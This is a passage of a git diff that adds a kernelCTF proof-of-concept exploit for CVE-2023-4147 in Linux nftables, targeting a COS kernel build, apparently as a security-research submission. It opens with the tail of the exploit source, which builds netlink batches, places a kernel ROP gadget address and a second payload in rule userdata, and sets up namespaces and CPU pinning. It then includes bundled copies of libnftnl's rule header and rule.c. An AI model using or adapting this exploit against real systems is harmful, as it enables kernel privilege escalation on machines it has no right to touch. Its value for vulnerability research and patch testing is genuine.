mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } + + // wait for destroy work done + usleep(1000*1000); + + struct nftnl_rule * rule_last = nftnl_rule_alloc(); + + char rule_last_data[0x100] = {0,}; + + *(unsigned long*)(rule_last_data+6) = kbase + pop_rsp_pop_r13_pop_r14_pop_r15_ret; + + make_payload2(rule_last_data+15); + + nftnl_rule_set_str(rule_last, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_last, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_data(rule_last, NFTNL_RULE_USERDATA, rule_last_data, 256); + + expr_last = nftnl_expr_alloc("last"); + nftnl_rule_add_expr(rule_last, expr_last); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_last); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void netfilter(){ + save_state(); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); + + trig(); + + mnl_socket_close(nl); +} + +int main(int argc, char ** argv) +{ + new_ns(); + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + netfilter(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/libnftnl_rule.h b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/libnftnl_rule.h new file mode 100644 index 00000000..ff6cab7b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/libnftnl_rule.h @@ -0,0 +1,103 @@ +#ifndef _LIBNFTNL_RULE_H_ +#define _LIBNFTNL_RULE_H_ + +#include +#include +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +struct nftnl_rule; +struct nftnl_expr; + +struct nftnl_rule *nftnl_rule_alloc(void); +void nftnl_rule_free(const struct nftnl_rule *); + +enum nftnl_rule_attr { + NFTNL_RULE_FAMILY = 0, + NFTNL_RULE_TABLE, + NFTNL_RULE_CHAIN, + NFTNL_RULE_CHAIN_ID, + NFTNL_RULE_HANDLE, + NFTNL_RULE_COMPAT_PROTO, + NFTNL_RULE_COMPAT_FLAGS, + NFTNL_RULE_POSITION, + NFTNL_RULE_USERDATA, + NFTNL_RULE_ID, + NFTNL_RULE_POSITION_ID, + __NFTNL_RULE_MAX +}; +#define NFTNL_RULE_MAX (__NFTNL_RULE_MAX - 1) + +void nftnl_rule_unset(struct nftnl_rule *r, uint16_t attr); +bool nftnl_rule_is_set(const struct nftnl_rule *r, uint16_t attr); +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) __attribute__((deprecated)); +int nftnl_rule_set_data(struct nftnl_rule *r, uint16_t attr, + const void *data, uint32_t data_len); +void nftnl_rule_set_u32(struct nftnl_rule *r, uint16_t attr, uint32_t val); +void nftnl_rule_set_u64(struct nftnl_rule *r, uint16_t attr, uint64_t val); +int nftnl_rule_set_str(struct nftnl_rule *r, uint16_t attr, const char *str); + +const void *nftnl_rule_get(const struct nftnl_rule *r, uint16_t attr); +const void *nftnl_rule_get_data(const struct nftnl_rule *r, uint16_t attr, + uint32_t *data_len); +const char *nftnl_rule_get_str(const struct nftnl_rule *r, uint16_t attr); +uint8_t nftnl_rule_get_u8(const struct nftnl_rule *r, uint16_t attr); +uint32_t nftnl_rule_get_u32(const struct nftnl_rule *r, uint16_t attr); +uint64_t nftnl_rule_get_u64(const struct nftnl_rule *r, uint16_t attr); + +void nftnl_rule_add_expr(struct nftnl_rule *r, struct nftnl_expr *expr); +void nftnl_rule_del_expr(struct nftnl_expr *expr); + +struct nlmsghdr; + +void nftnl_rule_nlmsg_build_payload(struct nlmsghdr *nlh, struct nftnl_rule *t); + +int nftnl_rule_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const char *data, struct nftnl_parse_err *err); +int nftnl_rule_parse_file(struct nftnl_rule *r, enum nftnl_parse_type type, + FILE *fp, struct nftnl_parse_err *err); +int nftnl_rule_snprintf(char *buf, size_t size, const struct nftnl_rule *t, uint32_t type, uint32_t flags); +int nftnl_rule_fprintf(FILE *fp, const struct nftnl_rule *r, uint32_t type, uint32_t flags); + +#define nftnl_rule_nlmsg_build_hdr nftnl_nlmsg_build_hdr +int nftnl_rule_nlmsg_parse(const struct nlmsghdr *nlh, struct nftnl_rule *t); + +int nftnl_expr_foreach(struct nftnl_rule *r, + int (*cb)(struct nftnl_expr *e, void *data), + void *data); + +struct nftnl_expr_iter; + +struct nftnl_expr_iter *nftnl_expr_iter_create(const struct nftnl_rule *r); +struct nftnl_expr *nftnl_expr_iter_next(struct nftnl_expr_iter *iter); +void nftnl_expr_iter_destroy(struct nftnl_expr_iter *iter); + +struct nftnl_rule_list; + +struct nftnl_rule_list *nftnl_rule_list_alloc(void); +void nftnl_rule_list_free(struct nftnl_rule_list *list); +int nftnl_rule_list_is_empty(const struct nftnl_rule_list *list); +void nftnl_rule_list_add(struct nftnl_rule *r, struct nftnl_rule_list *list); +void nftnl_rule_list_add_tail(struct nftnl_rule *r, struct nftnl_rule_list *list); +void nftnl_rule_list_insert_at(struct nftnl_rule *r, struct nftnl_rule *pos); +void nftnl_rule_list_del(struct nftnl_rule *r); +int nftnl_rule_list_foreach(struct nftnl_rule_list *rule_list, int (*cb)(struct nftnl_rule *t, void *data), void *data); + +struct nftnl_rule_list_iter; + +struct nftnl_rule_list_iter *nftnl_rule_list_iter_create(const struct nftnl_rule_list *l); +struct nftnl_rule *nftnl_rule_list_iter_cur(struct nftnl_rule_list_iter *iter); +struct nftnl_rule *nftnl_rule_list_iter_next(struct nftnl_rule_list_iter *iter); +void nftnl_rule_list_iter_destroy(const struct nftnl_rule_list_iter *iter); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* _LIBNFTNL_RULE_H_ */ diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/rule.c b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/rule.c new file mode 100644 index 00000000..a4f0175c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/rule.c @@ -0,0 +1,890 @@ +/* + * (C) 2012-2013 by Pablo Neira Ayuso + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This code has been sponsored by Sophos Astaro + */ +#include "internal.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include + +EXPORT_SYMBOL(nftnl_rule_alloc); +struct nftnl_rule *nftnl_rule_alloc(void) +{ + struct nftnl_rule *r; + + r = calloc(1, sizeof(struct nftnl_rule)); + if (r == NULL) + return NULL; + + INIT_LIST_HEAD(&r->expr_list); + + return r; +} + +EXPORT_SYMBOL(nftnl_rule_free); +void nftnl_rule_free(const struct nftnl_rule *r) +{ + struct nftnl_expr *e, *tmp; + + list_for_each_entry_safe(e, tmp, &r->expr_list, head) + nftnl_expr_free(e); + + if (r->flags & (1 << (NFTNL_RULE_TABLE))) + xfree(r->table); + if (r->flags & (1 << (NFTNL_RULE_CHAIN))) + xfree(r->chain); + if (r->flags & (1 << (NFTNL_RULE_USERDATA))) + xfree(r->user.data); + + xfree(r); +} + +EXPORT_SYMBOL(nftnl_rule_is_set); +bool nftnl_rule_is_set(const struct nftnl_rule *r, uint16_t attr) +{ + return r->flags & (1 << attr); +} + +EXPORT_SYMBOL(nftnl_rule_unset); +void nftnl_rule_unset(struct nftnl_rule *r, uint16_t attr) +{ + if (!(r->flags & (1 << attr))) + return; + + switch (attr) { + case NFTNL_RULE_TABLE: + xfree(r->table); + break; + case NFTNL_RULE_CHAIN: + xfree(r->chain); + break; + case NFTNL_RULE_CHAIN_ID: + case NFTNL_RULE_HANDLE: + case NFTNL_RULE_COMPAT_PROTO: + case NFTNL_RULE_COMPAT_FLAGS: + case NFTNL_RULE_POSITION: + case NFTNL_RULE_FAMILY: + case NFTNL_RULE_ID: + case NFTNL_RULE_POSITION_ID: + break; + case NFTNL_RULE_USERDATA: + xfree(r->user.data); + break; + } + + r->flags &= ~(1 << attr); +} + +static uint32_t nftnl_rule_validate[NFTNL_RULE_MAX + 1] = { + [NFTNL_RULE_CHAIN_ID] = sizeof(uint32_t), + [NFTNL_RULE_HANDLE] = sizeof(uint64_t), + [NFTNL_RULE_COMPAT_PROTO] = sizeof(uint32_t), + [NFTNL_RULE_COMPAT_FLAGS] = sizeof(uint32_t), + [NFTNL_RULE_FAMILY] = sizeof(uint32_t), + [NFTNL_RULE_POSITION] = sizeof(uint64_t), + [NFTNL_RULE_ID] = sizeof(uint32_t), + [NFTNL_RULE_POSITION_ID] = sizeof(uint32_t), +}; + +EXPORT_SYMBOL(nftnl_rule_set_data); +int nftnl_rule_set_data(struct nftnl_rule *r, uint16_t attr, + const void *data, uint32_t data_len) +{ + nftnl_assert_attr_exists(attr, NFTNL_RULE_MAX); + nftnl_assert_validate(data, nftnl_rule_validate, attr, data_len); + + switch(attr) { + case NFTNL_RULE_TABLE: + if (r->flags & (1 << NFTNL_RULE_TABLE)) + xfree(r->table); + + r->table = strdup(data); + if (!r->table) + return -1; + break; + case NFTNL_RULE_CHAIN: + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + xfree(r->chain); + + r->chain = strdup(data); + if (!r->chain) + return -1; + break; + case NFTNL_RULE_CHAIN_ID: + memcpy(&r->chain_id, data, sizeof(r->chain_id)); + break; + case NFTNL_RULE_HANDLE: + memcpy(&r->handle, data, sizeof(r->handle)); + break; + case NFTNL_RULE_COMPAT_PROTO: + memcpy(&r->compat.proto, data, sizeof(r->compat.proto)); + break; + case NFTNL_RULE_COMPAT_FLAGS: + memcpy(&r->compat.flags, data, sizeof(r->compat.flags)); + break; + case NFTNL_RULE_FAMILY: + memcpy(&r->family, data, sizeof(r->family)); + break; + case NFTNL_RULE_POSITION: + memcpy(&r->position, data, sizeof(r->position)); + break; + case NFTNL_RULE_USERDATA: + if (r->flags & (1 << NFTNL_RULE_USERDATA)) + xfree(r->user.data); + + r->user.data = malloc(data_len); + if (!r->user.data) + return -1; + + memcpy(r->user.data, data, data_len); + r->user.len = data_len; + break; + case NFTNL_RULE_ID: + memcpy(&r->id, data, sizeof(r->id)); + break; + case NFTNL_RULE_POSITION_ID: + memcpy(&r->position_id, data, sizeof(r->position_id)); + break; + } + r->flags |= (1 << attr); + return 0; +} + +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) __visible; +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) +{ + return nftnl_rule_set_data(r, attr, data, nftnl_rule_validate[attr]); +} + +EXPORT_SYMBOL(nftnl_rule_set_u32); +void nftnl_rule_set_u32(struct nftnl_rule *r, uint16_t attr, uint32_t val) +{ + nftnl_rule_set_data(r, attr, &val, sizeof(uint32_t)); +} + +EXPORT_SYMBOL(nftnl_rule_set_u64); +void nftnl_rule_set_u64(struct nftnl_rule *r, uint16_t attr, uint64_t val) +{ + nftnl_rule_set_data(r, attr, &val, sizeof(uint64_t)); +} + +EXPORT_SYMBOL(nftnl_rule_set_str); +int nftnl_rule_set_str(struct nftnl_rule *r, uint16_t attr, const char *str) +{ + return nftnl_rule_set_data(r, attr, str, strlen(str) + 1); +} + +EXPORT_SYMBOL(nftnl_rule_get_data); +const void *nftnl_rule_get_data(const struct nftnl_rule *r, uint16_t attr, + uint32_t *data_len) +{ + if (!(r->flags & (1 << attr))) + return NULL; + + switch(attr) { + case NFTNL_RULE_FAMILY: + *data_len = sizeof(uint32_t); + return &r->family; + case NFTNL_RULE_TABLE: + *data_len = strlen(r->table) + 1; + return r->table; + case NFTNL_RULE_CHAIN: + *data_len = strlen(r->chain) + 1; + return r->chain; + case NFTNL_RULE_CHAIN_ID: + *data_len = sizeof(uint32_t); + return &r->chain_id; + case NFTNL_RULE_HANDLE: + *data_len = sizeof(uint64_t); + return &r->handle; + case NFTNL_RULE_COMPAT_PROTO: + *data_len = sizeof(uint32_t); + return &r->compat.proto; + case NFTNL_RULE_COMPAT_FLAGS: + *data_len = sizeof(uint32_t); + return &r->compat.flags; + case NFTNL_RULE_POSITION: + *data_len = sizeof(uint64_t); + return &r->position; + case NFTNL_RULE_USERDATA: + *data_len = r->user.len; + return r->user.data; + case NFTNL_RULE_ID: + *data_len = sizeof(uint32_t); + return &r->id; + case NFTNL_RULE_POSITION_ID: + *data_len = sizeof(uint32_t); + return &r->position_id; + } + return NULL; +} + +EXPORT_SYMBOL(nftnl_rule_get); +const void *nftnl_rule_get(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + return nftnl_rule_get_data(r, attr, &data_len); +} + +EXPORT_SYMBOL(nftnl_rule_get_str); +const char *nftnl_rule_get_str(const struct nftnl_rule *r, uint16_t attr) +{ + return nftnl_rule_get(r, attr); +} + +EXPORT_SYMBOL(nftnl_rule_get_u32); +uint32_t nftnl_rule_get_u32(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint32_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint32_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_get_u64); +uint64_t nftnl_rule_get_u64(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint64_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint64_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_get_u8); +uint8_t nftnl_rule_get_u8(const struct nftnl_rule *r, uint16_t attr) +{ + uint32_t data_len; + const uint8_t *val = nftnl_rule_get_data(r, attr, &data_len); + + nftnl_assert(val, attr, data_len == sizeof(uint8_t)); + + return val ? *val : 0; +} + +EXPORT_SYMBOL(nftnl_rule_nlmsg_build_payload); +void nftnl_rule_nlmsg_build_payload(struct nlmsghdr *nlh, struct nftnl_rule *r) +{ + struct nftnl_expr *expr; + struct nlattr *nest, *nest2; + + if (r->flags & (1 << NFTNL_RULE_TABLE)) + mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, r->table); + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, r->chain); + if (r->flags & (1 << NFTNL_RULE_CHAIN_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_CHAIN_ID, htobe32(r->chain_id)); + if (r->flags & (1 << NFTNL_RULE_HANDLE)) + mnl_attr_put_u64(nlh, NFTA_RULE_HANDLE, htobe64(r->handle)); + if (r->flags & (1 << NFTNL_RULE_POSITION)) + mnl_attr_put_u64(nlh, NFTA_RULE_POSITION, htobe64(r->position)); + if (r->flags & (1 << NFTNL_RULE_USERDATA)) { + mnl_attr_put(nlh, NFTA_RULE_USERDATA, r->user.len, + r->user.data); + } + + if (!list_empty(&r->expr_list)) { + nest = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS); + list_for_each_entry(expr, &r->expr_list, head) { + nest2 = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM); + nftnl_expr_build_payload(nlh, expr); + mnl_attr_nest_end(nlh, nest2); + } + mnl_attr_nest_end(nlh, nest); + } + + if (r->flags & (1 << NFTNL_RULE_COMPAT_PROTO) && + r->flags & (1 << NFTNL_RULE_COMPAT_FLAGS)) { + + nest = mnl_attr_nest_start(nlh, NFTA_RULE_COMPAT); + mnl_attr_put_u32(nlh, NFTA_RULE_COMPAT_PROTO, + htonl(r->compat.proto)); + mnl_attr_put_u32(nlh, NFTA_RULE_COMPAT_FLAGS, + htonl(r->compat.flags)); + mnl_attr_nest_end(nlh, nest); + } + if (r->flags & (1 << NFTNL_RULE_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_ID, htonl(r->id)); + if (r->flags & (1 << NFTNL_RULE_POSITION_ID)) + mnl_attr_put_u32(nlh, NFTA_RULE_POSITION_ID, htonl(r->position_id)); +} + +EXPORT_SYMBOL(nftnl_rule_add_expr); +void nftnl_rule_add_expr(struct nftnl_rule *r, struct nftnl_expr *expr) +{ + list_add_tail(&expr->head, &r->expr_list); +} + +EXPORT_SYMBOL(nftnl_rule_del_expr); +void nftnl_rule_del_expr(struct nftnl_expr *expr) +{ + list_del(&expr->head); +} + +static int nftnl_rule_parse_attr_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, NFTA_RULE_MAX) < 0) + return MNL_CB_OK; + + switch(type) { + case NFTA_RULE_TABLE: + case NFTA_RULE_CHAIN: + if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) + abi_breakage(); + break; + case NFTA_RULE_HANDLE: + if (mnl_attr_validate(attr, MNL_TYPE_U64) < 0) + abi_breakage(); + break; + case NFTA_RULE_COMPAT: + if (mnl_attr_validate(attr, MNL_TYPE_NESTED) < 0) + abi_breakage(); + break; + case NFTA_RULE_POSITION: + if (mnl_attr_validate(attr, MNL_TYPE_U64) < 0) + abi_breakage(); + break; + case NFTA_RULE_USERDATA: + if (mnl_attr_validate(attr, MNL_TYPE_BINARY) < 0) + abi_breakage(); + break; + case NFTA_RULE_ID: + case NFTA_RULE_POSITION_ID: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + abi_breakage(); + break; + } + + tb[type] = attr; + return MNL_CB_OK; +} + +static int nftnl_rule_parse_expr(struct nlattr *nest, struct nftnl_rule *r) +{ + struct nftnl_expr *expr; + struct nlattr *attr; + + mnl_attr_for_each_nested(attr, nest) { + if (mnl_attr_get_type(attr) != NFTA_LIST_ELEM) + return -1; + + expr = nftnl_expr_parse(attr); + if (expr == NULL) + return -1; + + list_add_tail(&expr->head, &r->expr_list); + } + return 0; +} + +static int nftnl_rule_parse_compat_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, NFTA_RULE_COMPAT_MAX) < 0) + return MNL_CB_OK; + + switch(type) { + case NFTA_RULE_COMPAT_PROTO: + case NFTA_RULE_COMPAT_FLAGS: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + abi_breakage(); + break; + } + + tb[type] = attr; + return MNL_CB_OK; +} + +static int nftnl_rule_parse_compat(struct nlattr *nest, struct nftnl_rule *r) +{ + struct nlattr *tb[NFTA_RULE_COMPAT_MAX+1] = {}; + + if (mnl_attr_parse_nested(nest, nftnl_rule_parse_compat_cb, tb) < 0) + return -1; + + if (tb[NFTA_RULE_COMPAT_PROTO]) { + r->compat.proto = + ntohl(mnl_attr_get_u32(tb[NFTA_RULE_COMPAT_PROTO])); + r->flags |= (1 << NFTNL_RULE_COMPAT_PROTO); + } + if (tb[NFTA_RULE_COMPAT_FLAGS]) { + r->compat.flags = + ntohl(mnl_attr_get_u32(tb[NFTA_RULE_COMPAT_FLAGS])); + r->flags |= (1 << NFTNL_RULE_COMPAT_FLAGS); + } + return 0; +} + +EXPORT_SYMBOL(nftnl_rule_nlmsg_parse); +int nftnl_rule_nlmsg_parse(const struct nlmsghdr *nlh, struct nftnl_rule *r) +{ + struct nlattr *tb[NFTA_RULE_MAX+1] = {}; + struct nfgenmsg *nfg = mnl_nlmsg_get_payload(nlh); + int ret; + + if (mnl_attr_parse(nlh, sizeof(*nfg), nftnl_rule_parse_attr_cb, tb) < 0) + return -1; + + if (tb[NFTA_RULE_TABLE]) { + if (r->flags & (1 << NFTNL_RULE_TABLE)) + xfree(r->table); + r->table = strdup(mnl_attr_get_str(tb[NFTA_RULE_TABLE])); + if (!r->table) + return -1; + r->flags |= (1 << NFTNL_RULE_TABLE); + } + if (tb[NFTA_RULE_CHAIN]) { + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + xfree(r->chain); + r->chain = strdup(mnl_attr_get_str(tb[NFTA_RULE_CHAIN])); + if (!r->chain) + return -1; + r->flags |= (1 << NFTNL_RULE_CHAIN); + } + if (tb[NFTA_RULE_CHAIN_ID]) { + r->chain_id = be32toh(mnl_attr_get_u64(tb[NFTA_RULE_CHAIN_ID])); + r->flags |= (1 << NFTNL_RULE_CHAIN_ID); + } + if (tb[NFTA_RULE_HANDLE]) { + r->handle = be64toh(mnl_attr_get_u64(tb[NFTA_RULE_HANDLE])); + r->flags |= (1 << NFTNL_RULE_HANDLE); + } + if (tb[NFTA_RULE_EXPRESSIONS]) { + ret = nftnl_rule_parse_expr(tb[NFTA_RULE_EXPRESSIONS], r); + if (ret < 0) + return ret; + } + if (tb[NFTA_RULE_COMPAT]) { + ret = nftnl_rule_parse_compat(tb[NFTA_RULE_COMPAT], r); + if (ret < 0) + return ret; + } + if (tb[NFTA_RULE_POSITION]) { + r->position = be64toh(mnl_attr_get_u64(tb[NFTA_RULE_POSITION])); + r->flags |= (1 << NFTNL_RULE_POSITION); + } + if (tb[NFTA_RULE_USERDATA]) { + const void *udata = + mnl_attr_get_payload(tb[NFTA_RULE_USERDATA]); + + if (r->flags & (1 << NFTNL_RULE_USERDATA)) + xfree(r->user.data); + + r->user.len = mnl_attr_get_payload_len(tb[NFTA_RULE_USERDATA]); + + r->user.data = malloc(r->user.len); + if (r->user.data == NULL) + return -1; + + memcpy(r->user.data, udata, r->user.len); + r->flags |= (1 << NFTNL_RULE_USERDATA); + } + if (tb[NFTA_RULE_ID]) { + r->id = ntohl(mnl_attr_get_u32(tb[NFTA_RULE_ID])); + r->flags |= (1 << NFTNL_RULE_ID); + } + if (tb[NFTA_RULE_POSITION_ID]) { + r->position_id = ntohl(mnl_attr_get_u32(tb[NFTA_RULE_POSITION_ID])); + r->flags |= (1 << NFTNL_RULE_POSITION_ID); + } + + r->family = nfg->nfgen_family; + r->flags |= (1 << NFTNL_RULE_FAMILY); + + return 0; +} + +static int nftnl_rule_do_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const void *data, struct nftnl_parse_err *err, + enum nftnl_parse_input input) +{ + int ret; + struct nftnl_parse_err perr = {}; + + switch (type) { + case NFTNL_PARSE_JSON: + case NFTNL_PARSE_XML: + default: + ret = -1; + errno = EOPNOTSUPP; + break; + } + if (err != NULL) + *err = perr; + + return ret; +} + +EXPORT_SYMBOL(nftnl_rule_parse); +int nftnl_rule_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const char *data, struct nftnl_parse_err *err) +{ + return nftnl_rule_do_parse(r, type, data, err, NFTNL_PARSE_BUFFER); +} + +EXPORT_SYMBOL(nftnl_rule_parse_file); +int nftnl_rule_parse_file(struct nftnl_rule *r, enum nftnl_parse_type type, + FILE *fp, struct nftnl_parse_err *err) +{ + return nftnl_rule_do_parse(r, type, fp, err, NFTNL_PARSE_FILE); +} + +static int nftnl_rule_snprintf_default(char *buf, size_t remain, + const struct nftnl_rule *r, + uint32_t type, uint32_t flags) +{ + struct nftnl_expr *expr; + int ret, offset = 0, i; + const char *sep = ""; + + if (r->flags & (1 << NFTNL_RULE_FAMILY)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + nftnl_family2str(r->family)); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_TABLE)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + r->table); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_CHAIN)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + r->chain); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + if (r->flags & (1 << NFTNL_RULE_HANDLE)) { + ret = snprintf(buf + offset, remain, "%s%" PRIu64, sep, + r->handle); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_POSITION)) { + ret = snprintf(buf + offset, remain, "%s%" PRIu64, sep, + r->position); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_ID)) { + ret = snprintf(buf + offset, remain, "%s%u", sep, r->id); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_POSITION_ID)) { + ret = snprintf(buf + offset, remain, "%s%u", sep, + r->position_id); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + ret = snprintf(buf + offset, remain, "\n"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + list_for_each_entry(expr, &r->expr_list, head) { + ret = snprintf(buf + offset, remain, " [ %s ", expr->ops->name); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + ret = nftnl_expr_snprintf(buf + offset, remain, expr, + type, flags); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + ret = snprintf(buf + offset, remain, "]\n"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + } + + if (r->user.len) { + ret = snprintf(buf + offset, remain, " userdata = { "); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + for (i = 0; i < r->user.len; i++) { + char *c = r->user.data; + + ret = snprintf(buf + offset, remain, + isprint(c[i]) ? "%c" : "\\x%02hhx", + c[i]); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + } + + ret = snprintf(buf + offset, remain, " }"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + } + + return offset; +} + +static int nftnl_rule_cmd_snprintf(char *buf, size_t remain, + const struct nftnl_rule *r, uint32_t cmd, + uint32_t type, uint32_t flags) +{ + uint32_t inner_flags = flags; + int ret, offset = 0; + + inner_flags &= ~NFTNL_OF_EVENT_ANY; + + if (type != NFTNL_OUTPUT_DEFAULT) + return -1; + + ret = nftnl_rule_snprintf_default(buf + offset, remain, r, type, + inner_flags); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + return offset; +} + +EXPORT_SYMBOL(nftnl_rule_snprintf); +int nftnl_rule_snprintf(char *buf, size_t size, const struct nftnl_rule *r, + uint32_t type, uint32_t flags) +{ + if (size) + buf[0] = '\0'; + + return nftnl_rule_cmd_snprintf(buf, size, r, nftnl_flag2cmd(flags), type, + flags); +} + +static int nftnl_rule_do_snprintf(char *buf, size_t size, const void *r, + uint32_t cmd, uint32_t type, uint32_t flags) +{ + return nftnl_rule_snprintf(buf, size, r, type, flags); +} + +EXPORT_SYMBOL(nftnl_rule_fprintf); +int nftnl_rule_fprintf(FILE *fp, const struct nftnl_rule *r, uint32_t type, + uint32_t flags) +{ + return nftnl_fprintf(fp, r, NFTNL_CMD_UNSPEC, type, flags, + nftnl_rule_do_snprintf); +} + +EXPORT_SYMBOL(nftnl_expr_foreach); +int nftnl_expr_foreach(struct nftnl_rule *r, + int (*cb)(struct nftnl_expr *e, void *data), + void *data) +{ + struct nftnl_expr *cur, *tmp; + int ret; + + list_for_each_entry_safe(cur, tmp, &r->expr_list, head) { + ret = cb(cur, data); + if (ret < 0) + return ret; + } + return 0; +} + +struct nftnl_expr_iter { + const struct nftnl_rule *r; + struct nftnl_expr *cur; +}; + +static void nftnl_expr_iter_init(const struct nftnl_rule *r, + struct nftnl_expr_iter *iter) +{ + iter->r = r; + if (list_empty(&r->expr_list)) + iter->cur = NULL; + else + iter->cur = list_entry(r->expr_list.next, struct nftnl_expr, + head); +} + +EXPORT_SYMBOL(nftnl_expr_iter_create); +struct nftnl_expr_iter *nftnl_expr_iter_create(const struct nftnl_rule *r) +{ + struct nftnl_expr_iter *iter; + + iter = calloc(1, sizeof(struct nftnl_expr_iter)); + if (iter == NULL) + return NULL; + + nftnl_expr_iter_init(r, iter); + + return iter; +} + +EXPORT_SYMBOL(nftnl_expr_iter_next); +struct nftnl_expr *nftnl_expr_iter_next(struct nftnl_expr_iter *iter) +{ + struct nftnl_expr *expr = iter->cur; + + if (expr == NULL) + return NULL; + + /* get next expression, if any */ + iter->cur = list_entry(iter->cur->head.next, struct nftnl_expr, head); + if (&iter->cur->head == iter->r->expr_list.next) + return NULL; + + return expr; +} + +EXPORT_SYMBOL(nftnl_expr_iter_destroy); +void nftnl_expr_iter_destroy(struct nftnl_expr_iter *iter) +{ + xfree(iter); +} + +struct nftnl_rule_list { + struct list_head list; +}; + +EXPORT_SYMBOL(nftnl_rule_list_alloc); +struct nftnl_rule_list *nftnl_rule_list_alloc(void) +{ + struct nftnl_rule_list *list; + + list = calloc(1, sizeof(struct nftnl_rule_list)); + if (list == NULL) + return NULL; + + INIT_LIST_HEAD(&list->list); + + return list; +} + 